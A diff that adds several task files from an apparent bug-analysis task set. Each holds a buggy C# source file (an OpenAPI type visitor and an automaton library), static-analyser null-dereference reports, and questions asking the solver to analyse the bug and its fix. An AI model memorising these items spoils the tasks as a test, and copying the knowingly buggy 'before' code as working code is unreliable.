+        /// Gets the value indicating whether the property is nullable or not.
+        /// </summary>
+        /// <param name="attr"><see cref="OpenApiPropertyAttribute"/> instance.</param>
+        /// <returns>Returns <c>True</c>, if nullable; otherwise returns <c>False</c>.</returns>
+        protected bool GetOpenApiPropertyNullable(OpenApiPropertyAttribute attr)
+        {
+            return attr.Nullable;
+        }
+
+        /// <summary>
+        /// Gets the default value from the <see cref="OpenApiPropertyAttribute"/> instance.
+        /// </summary>
+        /// <param name="attr"><see cref="OpenApiPropertyAttribute"/> instance.</param>
+        /// <returns>Returns the default data.</returns>
+        protected IOpenApiAny GetOpenApiPropertyDefault(OpenApiPropertyAttribute attr)
+        {
+            var @default = attr.Default;
+            if (@default.IsNullOrDefault())
+            {
+                return null;
+            }
+
+            if (@default is bool)
+            {
+                return new OpenApiBoolean((bool) @default);
+            }
+
+            if (@default is DateTime)
+            {
+                return new OpenApiDateTime((DateTime) @default);
+            }
+
+            if (@default is DateTimeOffset)
+            {
+                return new OpenApiDateTime((DateTimeOffset) @default);
+            }
+
+            if (@default is float)
+            {
+                return new OpenApiFloat((float) @default);
+            }
+
+            if (@default is double)
+            {
+                return new OpenApiDouble((double) @default);
+            }
+
+            if (@default is decimal)
+            {
+                return new OpenApiDouble(Convert.ToDouble(@default));
+            }
+
+            if (@default is short)
+            {
+                return new OpenApiInteger((short) @default);
+            }
+
+            if (@default is int)
+            {
+                return new OpenApiInteger((int) @default);
+            }
+
+            if (@default is long)
+            {
+                return new OpenApiLong((long) @default);
+            }
+
+            if (@default is ushort)
+            {
+                return new OpenApiInteger(Convert.ToInt16(@default));
+            }
+
+            if (@default is uint)
+            {
+                return new OpenApiInteger(Convert.ToInt32(@default));
+            }
+
+            if (@default is ulong)
+            {
+                return new OpenApiLong(Convert.ToInt64(@default));
+            }
+
+            if (@default is Guid)
+            {
+                return new OpenApiString(Convert.ToString(@default));
+            }
+
+            return new OpenApiString((string) @default);
+        }
+
+        /// <summary>
+        /// Gets the default value from the <see cref="OpenApiPropertyAttribute"/> instance.
+        /// </summary>
+        /// <typeparam name="T">Type to compare.</typeparam>
+        /// <param name="attr"><see cref="OpenApiPropertyAttribute"/> instance.</param>
+        /// <returns>Returns the default data.</returns>
+        protected IOpenApiAny GetOpenApiPropertyDefault<T>(OpenApiPropertyAttribute attr)
+        {
+            var @default = attr.Default;
+            if (@default.IsNullOrDefault())
+            {
+                return null;
+            }
+
+            if (typeof(T) == typeof(short))
+            {
+                return new OpenApiInteger((short) @default);
+            }
+
+            if (typeof(T) == typeof(int))
+            {
+                return new OpenApiInteger((int) @default);
+            }
+
+            if (typeof(T) == typeof(long))
+            {
+                return new OpenApiLong((long) @default);
+            }
+
+            if (@default is ushort)
+            {
+                return new OpenApiInteger(Convert.ToInt16(@default));
+            }
+
+            if (@default is uint)
+            {
+                return new OpenApiInteger(Convert.ToInt32(@default));
+            }
+
+            if (@default is ulong)
+            {
+                return new OpenApiLong(Convert.ToInt64(@default));
+            }
+
+            if (typeof(T) == typeof(string) && @default.GetType().IsEnumType())
+            {
+                var @enum = (Enum)Convert.ChangeType(@default, typeof(Enum));
+
+                return new OpenApiString((string) EnumExtensions.ToDisplayName(@enum));
+            }
+
+            return new OpenApiString((string) @default);
+        }
+
+        /// <summary>
+        /// Gets the property description.
+        /// </summary>
+        /// <param name="attr"><see cref="OpenApiPropertyAttribute"/> instance.</param>
+        /// <returns>Returns the property description.</returns>
+        protected string GetOpenApiPropertyDescription(OpenApiPropertyAttribute attr)
+        {
+            return attr.Description;
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `instance` last assigned on line 125 could be null and is dereferenced at line 131, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+String TypeVisitor.Visit(IAcceptor,String,String,String,String,Attribute[])
+
+### File:
+src/Microsoft.Azure.WebJobs.Extensions.OpenApi.Core/Visitors/TypeVisitor.cs
+
+### Key:
+TypeVisitor.cs|Visit|NULL_DEREFERENCE
+
+### Node Key:
+cd898c0a5096d52146136ed94834c132
+
+### Hash:
+4f0543853d960e01f9c15cc682e178ad
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0107/instruction.md b/inferredbugs-0107/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3e2f909dcf136bc5cc62fff114dadaf310bc9142
--- /dev/null
+++ b/inferredbugs-0107/instruction.md
@@ -0,0 +1,815 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Fare
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/*
+ * dk.brics.automaton
+ * 
+ * Copyright (c) 2001-2011 Anders Moeller
+ * All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. The name of the author may not be used to endorse or promote products
+ *    derived from this software without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+ * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+ * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+ * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+ * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text;
+
+namespace NAutomaton
+{
+    public static class BasicOperations
+    {
+        public static Automaton Concatenate(Automaton a1, Automaton a2)
+        {
+            if (a1.IsSingleton && a2.IsSingleton)
+            {
+                return BasicAutomata.MakeString(a1.Singleton + a2.Singleton);
+            }
+            if (IsEmpty(a1) || IsEmpty(a2))
+            {
+                return BasicAutomata.MakeEmpty();
+            }
+            bool deterMinistic = a1.IsSingleton && a2.IsDeterministic;
+            if (a1 == a2)
+            {
+                a1 = a1.CloneExpanded();
+                a2 = a2.CloneExpanded();
+            }
+            else
+            {
+                a1 = a1.CloneExpandedIfRequired();
+                a2 = a2.CloneExpandedIfRequired();
+            }
+            foreach (State s in a1.AcceptStates)
+            {
+                s.Accept = false;
+                s.AddEpsilon(a2.InitialState);
+            }
+            a1.IsDeterministic = deterMinistic;
+            a1.ClearHashCode();
+            a1.CheckMinimizeAlways();
+            return a1;
+        }
+
+        public static Automaton Concatenate(IList<Automaton> l)
+        {
+            if (l.Count == 0)
+            {
+                return BasicAutomata.MakeEmptyString();
+            }
+            bool allSingleton = l.All(a => a.IsSingleton);
+            if (allSingleton)
+            {
+                var b = new StringBuilder();
+                foreach (Automaton a in l)
+                {
+                    b.Append(a.IsSingleton);
+                }
+                return BasicAutomata.MakeString(b.ToString());
+            }
+            else
+            {
+                if (l.Any(a => a.IsEmpty))
+                {
+                    return BasicAutomata.MakeEmpty();
+                }
+                var ids = new HashSet<int?>();
+                foreach (Automaton a in l)
+                {
+                    ids.Add(RuntimeHelpers.GetHashCode(a));
+                }
+                bool hasAliases = ids.Count != l.Count;
+                Automaton b = l[0];
+                b = hasAliases ? b.CloneExpanded() : b.CloneExpandedIfRequired();
+                HashSet<State> ac = b.AcceptStates;
+                bool first = true;
+                foreach (Automaton a in l)
+                {
+                    if (first)
+                    {
+                        first = false;
+                    }
+                    else
+                    {
+                        if (a.IsEmptyString)
+                        {
+                            continue;
+                        }
+                        Automaton aa = a;
+                        aa = hasAliases ? aa.CloneExpanded() : aa.CloneExpandedIfRequired();
+                        HashSet<State> ns = aa.AcceptStates;
+                        foreach (State s in ac)
+                        {
+                            s.Accept = false;
+                            s.AddEpsilon(aa.InitialState);
+                            if (s.Accept)
+                            {
+                                ns.Add(s);
+                            }
+                        }
+                        ac = ns;
+                    }
+                }
+                b.IsDeterministic = false;
+                b.ClearHashCode();
+                b.CheckMinimizeAlways();
+                return b;
+            }
+        }
+
+        public static Automaton Optional(Automaton a)
+        {
+            a = a.CloneExpandedIfRequired();
+            var s = new State();
+            s.AddEpsilon(a.InitialState);
+            s.Accept = true;
+            a.InitialState = s;
+            a.IsDeterministic = false;
+            a.ClearHashCode();
+            a.CheckMinimizeAlways();
+            return a;
+        }
+
+        public static Automaton Repeat(Automaton a)
+        {
+            a = a.CloneExpanded();
+            var s = new State();
+            s.Accept = true;
+            s.AddEpsilon(a.InitialState);
+            foreach (State p in a.AcceptStates)
+            {
+                p.AddEpsilon(s);
+            }
+            a.InitialState = s;
+            a.IsDeterministic = false;
+            a.ClearHashCode();
+            a.CheckMinimizeAlways();
+            return a;
+        }
+
+        public static Automaton Repeat(Automaton a, int min)
+        {
+            if (min == 0)
+            {
+                return Repeat(a);
+            }
+            IList<Automaton> @as = new List<Automaton>();
+            while (min-- > 0)
+            {
+                @as.Add(a);
+            }
+            @as.Add(Repeat(a));
+            return Concatenate(@as);
+        }
+
+        public static Automaton Repeat(Automaton a, int min, int max)
+        {
+            if (min > max)
+            {
+                return BasicAutomata.MakeEmpty();
+            }
+            max -= min;
+            a.ExpandSingleton();
+            Automaton b;
+            if (min == 0)
+            {
+                b = BasicAutomata.MakeEmptyString();
+            }
+            else if (min == 1)
+            {
+                b = a.Clone();
+            }
+            else
+            {
+                IList<Automaton> @as = new List<Automaton>();
+                while (min-- > 0)
+                {
+                    @as.Add(a);
+                }
+                b = Concatenate(@as);
+            }
+            if (max > 0)
+            {
+                Automaton d = a.Clone();
+                while (--max > 0)
+                {
+                    Automaton c = a.Clone();
+                    foreach (State p in c.AcceptStates)
+                    {
+                        p.AddEpsilon(d.InitialState);
+                    }
+                    d = c;
+                }
+                foreach (State p in b.AcceptStates)
+                {
+                    p.AddEpsilon(d.InitialState);
+                }
+                b.IsDeterministic = false;
+                b.ClearHashCode();
+                b.CheckMinimizeAlways();
+            }
+            return b;
+        }
+
+        public static Automaton Complement(Automaton a)
+        {
+            a = a.CloneExpandedIfRequired();
+            a.Determinize();
+            a.Totalize();
+            foreach (State p in a.States)
+            {
+                p.Accept = !p.Accept;
+            }
+            a.RemoveDeadTransitions();
+            return a;
+        }
+
+        public static Automaton Minus(Automaton a1, Automaton a2)
+        {
+            if (a1.IsEmpty || a1 == a2)
+            {
+                return BasicAutomata.MakeEmpty();
+            }
+            if (a2.IsEmpty)
+            {
+                return a1.CloneIfRequired();
+            }
+            if (a1.IsSingleton)
+            {
+                if (a2.Run(a1.Singleton))
+                {
+                    return BasicAutomata.MakeEmpty();
+                }
+
+                return a1.CloneIfRequired();
+            }
+            return Intersection(a1, a2.Complement());
+        }
+
+        public static Automaton Intersection(Automaton a1, Automaton a2)
+        {
+            if (a1.IsSingleton)
+            {
+                if (a2.Run(a1.Singleton))
+                {
+                    return a1.CloneIfRequired();
+                }
+
+                return BasicAutomata.MakeEmpty();
+            }
+            if (a2.IsSingleton)
+            {
+                if (a1.Run(a2.Singleton))
+                {
+                    return a2.CloneIfRequired();
+                }
+
+                return BasicAutomata.MakeEmpty();
+            }
+            if (a1 == a2)
+            {
+                return a1.CloneIfRequired();
+            }
+            Transition[][] transitions1 = Automaton.GetSortedTransitions(a1.States);
+            Transition[][] transitions2 = Automaton.GetSortedTransitions(a2.States);
+            var c = new Automaton();
+            var worklist = new LinkedList<StatePair>();
+            var newstates = new Dictionary<StatePair, StatePair>();
+            var p = new StatePair(c.InitialState, a1.InitialState, a2.InitialState);
+            worklist.AddLast(p);
+            newstates.Add(p, p);
+            while (worklist.Count > 0)
+            {
+                p = worklist.RemoveAndReturnFirst();
+                p.S.Accept = p.S1.Accept && p.S2.Accept;
+                Transition[] t1 = transitions1[p.S1.Number];
+                Transition[] t2 = transitions2[p.S2.Number];
+                for (int n1 = 0, b2 = 0; n1 < t1.Length; n1++)
+                {
+                    while (b2 < t2.Length && t2[b2].Max < t1[n1].Min)
+                    {
+                        b2++;
+                    }
+                    for (int n2 = b2; n2 < t2.Length && t1[n1].Max >= t2[n2].Min; n2++)
+                    {
+                        if (t2[n2].Max >= t1[n1].Min)
+                        {
+                            var q = new StatePair(t1[n1].To, t2[n2].To);
+                            StatePair r = newstates[q];
+                            if (r == null)
+                            {
+                                q.S = new State();
+                                worklist.AddLast(q);
+                                newstates.Add(q, q);
+                                r = q;
+                            }
+                            char min = t1[n1].Min > t2[n2].Min ? t1[n1].Min : t2[n2].Min;
+                            char max = t1[n1].Max < t2[n2].Max ? t1[n1].Max : t2[n2].Max;
+                            p.S.Transitions.Add(new Transition(min, max, r.S));
+                        }
+                    }
+                }
+            }
+            c.IsDeterministic = a1.IsDeterministic && a2.IsDeterministic;
+            c.RemoveDeadTransitions();
+            c.CheckMinimizeAlways();
+            return c;
+        }
+
+        public static bool SubsetOf(Automaton a1, Automaton a2)
+        {
+            if (a1 == a2)
+            {
+                return true;
+            }
+            if (a1.IsSingleton)
+            {
+                if (a2.IsSingleton)
+                {
+                    return a1.Singleton.Equals(a2.Singleton);
+                }
+                return a2.Run(a1.Singleton);
+            }
+            a2.Determinize();
+            Transition[][] transitions1 = Automaton.GetSortedTransitions(a1.States);
+            Transition[][] transitions2 = Automaton.GetSortedTransitions(a2.States);
+            var worklist = new LinkedList<StatePair>();
+            var visited = new HashSet<StatePair>();
+            var p = new StatePair(a1.InitialState, a2.InitialState);
+            worklist.AddLast(p);
+            visited.Add(p);
+            while (worklist.Count > 0)
+            {
+                p = worklist.RemoveAndReturnFirst();
+                if (p.S1.Accept && !p.S2.Accept)
+                {
+                    return false;
+                }
+                Transition[] t1 = transitions1[p.S1.Number];
+                Transition[] t2 = transitions2[p.S2.Number];
+                for (int n1 = 0, b2 = 0; n1 < t1.Length; n1++)
+                {
+                    while (b2 < t2.Length && t2[b2].Max < t1[n1].Min)
+                    {
+                        b2++;
+                    }
+                    int min1 = t1[n1].Min, max1 = t1[n1].Max;
+                    for (int n2 = b2; n2 < t2.Length && t1[n1].Max >= t2[n2].Min; n2++)
+                    {
+                        if (t2[n2].Min > min1)
+                        {
+                            return false;
+                        }
+                        if (t2[n2].Max < Char.MaxValue)
+                        {
+                            min1 = t2[n2].Max + 1;
+                        }
+                        else
+                        {
+                            min1 = Char.MaxValue;
+                            max1 = Char.MinValue;
+                        }
+                        var q = new StatePair(t1[n1].To, t2[n2].To);
+                        if (!visited.Contains(q))
+                        {
+                            worklist.AddLast(q);
+                            visited.Add(q);
+                        }
+                    }
+                    if (min1 <= max1)
+                    {
+                        return false;
+                    }
+                }
+            }
+            return true;
+        }
+
+        public static Automaton Union(Automaton a1, Automaton a2)
+        {
+            if ((a1.IsSingleton && a2.IsSingleton && a1.Singleton.Equals(a2.Singleton)) || a1 == a2)
+            {
+                return a1.CloneIfRequired();
+            }
+            if (a1 == a2)
+            {
+                a1 = a1.CloneExpanded();
+                a2 = a2.CloneExpanded();
+            }
+            else
+            {
+                a1 = a1.CloneExpandedIfRequired();
+                a2 = a2.CloneExpandedIfRequired();
+            }
+            var s = new State();
+            s.AddEpsilon(a1.InitialState);
+            s.AddEpsilon(a2.InitialState);
+            a1.InitialState = s;
+            a1.IsDeterministic = false;
+            a1.ClearHashCode();
+            a1.CheckMinimizeAlways();
+            return a1;
+        }
+
+        public static Automaton Union(ICollection<Automaton> l)
+        {
+            var ids = new HashSet<int?>();
+            foreach (Automaton automaton in l)
+            {
+                ids.Add(RuntimeHelpers.GetHashCode(automaton));
+            }
+            bool hasAliases = ids.Count != l.Count;
+            var s = new State();
+            foreach (Automaton b in l)
+            {
+                if (b.IsEmpty)
+                {
+                    continue;
+                }
+                Automaton bb = b;
+                bb = hasAliases ? bb.CloneExpanded() : bb.CloneExpandedIfRequired();
+                s.AddEpsilon(bb.InitialState);
+            }
+            var a = new Automaton();
+            a.InitialState = s;
+            a.IsDeterministic = false;
+            a.ClearHashCode();
+            a.CheckMinimizeAlways();
+            return a;
+        }
+
+        public static void Determinize(Automaton a)
+        {
+            if (a.IsDeterministic || a.IsSingleton)
+            {
+                return;
+            }
+            var initialset = new HashSet<State>();
+            initialset.Add(a.InitialState);
+            Determinize(a, initialset);
+        }
+
+        public static void Determinize(Automaton a, HashSet<State> initialset)
+        {
+            char[] points = a.StartPoints;
+            // Subset construction.
+            IDictionary<HashSet<State>, HashSet<State>> sets = new Dictionary<HashSet<State>, HashSet<State>>();
+            var worklist = new LinkedList<HashSet<State>>();
+            IDictionary<HashSet<State>, State> newstate = new Dictionary<HashSet<State>, State>();
+            sets.Add(initialset, initialset);
+            worklist.AddLast(initialset);
+            a.InitialState = new State();
+            newstate.Add(initialset, a.InitialState);
+            while (worklist.Count > 0)
+            {
+                HashSet<State> s = worklist.RemoveAndReturnFirst();
+                State r = newstate[s];
+                foreach (State q in s)
+                {
+                    if (q.Accept)
+                    {
+                        r.Accept = true;
+                        break;
+                    }
+                }
+                for (int n = 0; n < points.Length; n++)
+                {
+                    var p = new HashSet<State>();
+                    foreach (State state in s)
+                    {
+                        foreach (Transition t in state.Transitions)
+                        {
+                            if (t.Min <= points[n] && points[n] <= t.Max)
+                            {
+                                p.Add(t.To);
+                            }
+                        }
+                    }
+                    if (!sets.ContainsKey(p))
+                    {
+                        sets.Add(p, p);
+                        worklist.AddLast(p);
+                        newstate.Add(p, new State());
+                    }
+                    State q = newstate[p];
+                    char min = points[n];
+                    char max;
+                    if (n + 1 < points.Length)
+                    {
+                        max = (char) (points[n + 1] - 1);
+                    }
+                    else
+                    {
+                        max = Char.MaxValue;
+                    }
+                    r.Transitions.Add(new Transition(min, max, q));
+                }
+            }
+            a.IsDeterministic = true;
+            a.RemoveDeadTransitions();
+        }
+
+        public static void AddEpsilons(Automaton a, ICollection<StatePair> pairs)
+        {
+            a.ExpandSingleton();
+            var forward = new Dictionary<State, HashSet<State>>();
+            var back = new Dictionary<State, HashSet<State>>();
+            foreach (StatePair p in pairs)
+            {
+                HashSet<State> to = forward[p.S1];
+                if (to == null)
+                {
+                    to = new HashSet<State>();
+                    forward.Add(p.S1, to);
+                }
+                to.Add(p.S2);
+                HashSet<State> from = back[p.S2];
+                if (from == null)
+                {
+                    from = new HashSet<State>();
+                    back.Add(p.S2, from);
+                }
+                from.Add(p.S1);
+            }
+
+            var worklist = new LinkedList<StatePair>(pairs);
+            var workset = new HashSet<StatePair>(pairs);
+            while (worklist.Count != 0)
+            {
+                StatePair p = worklist.RemoveAndReturnFirst();
+                workset.Remove(p);
+                HashSet<State> to = forward[p.S2];
+                HashSet<State> from = back[p.S1];
+                if (to != null)
+                {
+                    foreach (State s in to)
+                    {
+                        var pp = new StatePair(p.S1, s);
+                        if (!pairs.Contains(pp))
+                        {
+                            pairs.Add(pp);
+                            forward[p.S1].Add(s);
+                            back[s].Add(p.S1);
+                            worklist.AddLast(pp);
+                            workset.Add(pp);
+                            if (from != null)
+                            {
+                                foreach (State q in from)
+                                {
+                                    var qq = new StatePair(q, p.S1);
+                                    if (!workset.Contains(qq))
+                                    {
+                                        worklist.AddLast(qq);
+                                        workset.Add(qq);
+                                    }
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+            // Add transitions.
+            foreach (StatePair p in pairs)
+            {
+                p.S1.AddEpsilon(p.S2);
+            }
+            a.IsDeterministic = false;
+            a.ClearHashCode();
+            a.CheckMinimizeAlways();
+        }
+
+        public static bool IsEmptyString(Automaton a)
+        {
+            if (a.IsSingleton)
+            {
+                return a.Singleton.Length == 0;
+            }
+
+            return a.InitialState.Accept && a.InitialState.Transitions.Count == 0;
+        }
+
+        public static bool IsEmpty(Automaton a)
+        {
+            if (a.IsSingleton)
+            {
+                return false;
+            }
+            return !a.InitialState.Accept && a.InitialState.Transitions.Count == 0;
+        }
+
+        public static bool IsTotal(Automaton a)
+        {
+            if (a.IsSingleton)
+            {
+                return false;
+            }
+            if (a.InitialState.Accept && a.InitialState.Transitions.Count == 1)
+            {
+                // Original code (Java): Transition t = a.initial.transitions.iterator().next();
+                HashSet<Transition>.Enumerator enumerator = a.InitialState.Transitions.GetEnumerator();
+                enumerator.MoveNext();
+                Transition t = enumerator.Current;
+
+                return t.To == a.InitialState && t.Min == Char.MinValue && t.Max == Char.MaxValue;
+            }
+            return false;
+        }
+
+        public static string GetShortestExample(Automaton a, bool accepted)
+        {
+            if (a.IsSingleton)
+            {
+                if (accepted)
+                {
+                    return a.Singleton;
+                }
+
+                if (a.Singleton.Length > 0)
+                {
+                    return "";
+                }
+
+                return "\u0000";
+            }
+            return GetShortestExample(a.InitialState, accepted);
+        }
+
+        public static string GetShortestExample(State s, bool accepted)
+        {
+            IDictionary<State, string> path = new Dictionary<State, string>();
+            var queue = new LinkedList<State>();
+            path.Add(s, "");
+            queue.AddLast(s);
+            string best = null;
+            while (queue.Count != 0)
+            {
+                State q = queue.RemoveAndReturnFirst();
+                string p = path[q];
+                if (q.Accept == accepted)
+                {
+                    if (best == null || p.Length < best.Length || (p.Length == best.Length && p.CompareTo(best) < 0))
+                    {
+                        best = p;
+                    }
+                }
+                else
+                {
+                    foreach (Transition t in q.Transitions)
+                    {
+                        string tp = path[t.To];
+                        string np = p + t.Min;
+                        if (tp == null || (tp.Length == np.Length && np.CompareTo(tp) < 0))
+                        {
+                            if (tp == null)
+                            {
+                                queue.AddLast(t.To);
+                            }
+                            path.Add(t.To, np);
+                        }
+                    }
+                }
+            }
+            return best;
+        }
+
+        public static bool Run(Automaton a, string s)
+        {
+            if (a.IsSingleton)
+            {
+                return s.Equals(a.IsSingleton);
+            }
+            if (a.IsDeterministic)
+            {
+                State p = a.InitialState;
+                foreach (char t in s)
+                {
+                    State q = p.Step(t);
+                    if (q == null)
+                    {
+                        return false;
+                    }
+                    p = q;
+                }
+                return p.Accept;
+            }
+
+            HashSet<State> states = a.States;
+            Automaton.StateNumbers = states;
+            var pp = new LinkedList<State>();
+            var ppOther = new LinkedList<State>();
+            var bb = new BitArray(states.Count);
+            var bbOther = new BitArray(states.Count);
+            pp.AddLast(a.InitialState);
+            var dest = new List<State>();
+            bool accept = a.InitialState.Accept;
+
+            foreach (char c in s)
+            {
+                accept = false;
+                ppOther.Clear();
+                bbOther.SetAll(false);
+                foreach (State p in pp)
+                {
+                    dest.Clear();
+                    p.Step(c, dest);
+                    foreach (State q in dest)
+                    {
+                        if (q.Accept)
+                        {
+                            accept = true;
+                        }
+                        if (!bbOther.Get(q.Number))
+                        {
+                            bbOther.Set(q.Number, true);
+                            ppOther.AddLast(q);
+                        }
+                    }
+                }
+                LinkedList<State> tp = pp;
+                pp = ppOther;
+                ppOther = tp;
+                BitArray tb = bb;
+                bb = bbOther;
+                bbOther = tb;
+            }
+            return accept;
+        }
+    }
+}
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+`a->NAutomaton.Automaton.singleton` could be null (from the call to `Automaton.get_InitialState()` on line 625) and is dereferenced in call to `Automaton.get_InitialState()`.
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean BasicOperations.IsTotal(Automaton)
+
+### File:
+Src/NAutomaton/BasicOperations.cs
+
+### Key:
+BasicOperations.cs|IsTotal|NULLPTR_DEREFERENCE
+
+### Hash:
+7dbc81631d2c345a3519fa1396f2eb44
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0108/instruction.md b/inferredbugs-0108/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..89c5f18c4090bf730ae1f2084e5313dbf3dabf96
--- /dev/null
+++ b/inferredbugs-0108/instruction.md
@@ -0,0 +1,815 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Fare
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+/*
+ * dk.brics.automaton
+ * 
+ * Copyright (c) 2001-2011 Anders Moeller
+ * All rights reserved.
+ * 
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. The name of the author may not be used to endorse or promote products
+ *    derived from this software without specific prior written permission.
+ * 
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+ * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+ * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+ * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+ * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text;
+
+namespace NAutomaton
+{
+    public static class BasicOperations
+    {
+        public static Automaton Concatenate(Automaton a1, Automaton a2)
+        {
+            if (a1.IsSingleton && a2.IsSingleton)
+            {
+                return BasicAutomata.MakeString(a1.Singleton + a2.Singleton);
+            }
+            if (IsEmpty(a1) || IsEmpty(a2))
+            {
+                return BasicAutomata.MakeEmpty();
+            }
+            bool deterMinistic = a1.IsSingleton && a2.IsDeterministic;
+            if (a1 == a2)
+            {
+                a1 = a1.CloneExpanded();
+                a2 = a2.CloneExpanded();
+            }
+            else
+            {
+                a1 = a1.CloneExpandedIfRequired();
+                a2 = a2.CloneExpandedIfRequired();
+            }
+            foreach (State s in a1.AcceptStates)
+            {
+                s.Accept = false;
+                s.AddEpsilon(a2.InitialState);
+            }
+            a1.IsDeterministic = deterMinistic;
+            a1.ClearHashCode();
+            a1.CheckMinimizeAlways();
+            return a1;
+        }
+
+        public static Automaton Concatenate(IList<Automaton> l)
+        {
+            if (l.Count == 0)
+            {
+                return BasicAutomata.MakeEmptyString();
+            }
+            bool allSingleton = l.All(a => a.IsSingleton);
+            if (allSingleton)
+            {
+                var b = new StringBuilder();
+                foreach (Automaton a in l)
+                {
+                    b.Append(a.IsSingleton);
+                }
+                return BasicAutomata.MakeString(b.ToString());
+            }
+            else
+            {
+                if (l.Any(a => a.IsEmpty))
+                {
+                    return BasicAutomata.MakeEmpty();
+                }
+                var ids = new HashSet<int?>();
+                foreach (Automaton a in l)
+                {
+                    ids.Add(RuntimeHelpers.GetHashCode(a));
+                }
+                bool hasAliases = ids.Count != l.Count;
+                Automaton b = l[0];
+                b = hasAliases ? b.CloneExpanded() : b.CloneExpandedIfRequired();
+                HashSet<State> ac = b.AcceptStates;
+                bool first = true;
+                foreach (Automaton a in l)
+                {
+                    if (first)
+                    {
+                        first = false;
+                    }
+                    else
+                    {
+                        if (a.IsEmptyString)
+                        {
+                            continue;
+                        }
+                        Automaton aa = a;
+                        aa = hasAliases ? aa.CloneExpanded() : aa.CloneExpandedIfRequired();
+                        HashSet<State> ns = aa.AcceptStates;
+                        foreach (State s in ac)
+                        {
+                            s.Accept = false;
+                            s.AddEpsilon(aa.InitialState);
+                            if (s.Accept)
+                            {
+                                ns.Add(s);
+                            }
+                        }
+                        ac = ns;
+                    }
+                }
+                b.IsDeterministic = false;
